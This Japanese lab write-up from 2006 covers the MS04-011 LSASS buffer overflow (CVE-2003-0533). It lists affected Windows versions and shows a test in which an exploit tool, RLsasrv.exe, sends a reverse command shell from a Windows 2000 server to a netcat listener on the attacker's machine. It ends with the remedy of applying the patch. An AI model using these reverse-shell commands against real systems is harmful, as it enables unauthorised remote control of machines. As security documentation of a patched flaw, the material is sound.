MS04-011:LSASS buffer overflow Exploit

• 2006/02/16　初版
  • Author kikuzou

• LSASS(Local Security Authority Subsystem Service)の脆弱性に対するExploit
• このExploitを使用すると、コマンドシェルを特定のPCにリバースコネクトさせることが可能

• Microsoft Windows 2000 Service Pack 3 および Microsoft Windows 2000 Service Pack 4
• Microsoft Windows XP Service Pack 1
• Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
• Microsoft Windows 98 および Microsoft Windows 98 Second Edition (SE)

• Microsoft Windows XP Service Pack 2
• Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
• Microsoft Windows Server 2003 および Windows Server 2003 Service Pack 1
• Microsoft Windows Server 2003 for Itanium-based Systems
• Microsoft Windows Millennium Edition (ME)

• Microsoft::Microsoft Windows のセキュリティ修正プログラム
• CVE-2003-0533

• Windows2000 Server SP4 日本語版

• 攻撃元IPアドレス: 192.168.1.10
• 攻撃先IPアドレス: 192.168.1.20 (CP名 Win2000srv)

• 攻撃元は netcat で特定ポート(今回は12345/tcp)で待ち受ける

C:\>nc -l -p 12345

• 攻撃元からExploitコードを実行する。

C:\>RLsasrv.exe 0 192.168.1.20 12345 192.168.1.10
shellcode size 316

• Netcatで待ち受けていると、攻撃を受けたサーバからリバースコネクトされる

C:\>nc -l -p 12345
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>
C:\WINNT\system32>hostname
hostname
Win2000srv

C:\WINNT\system32>

1. MS04-011 パッチの適用 (Windows Update の実施)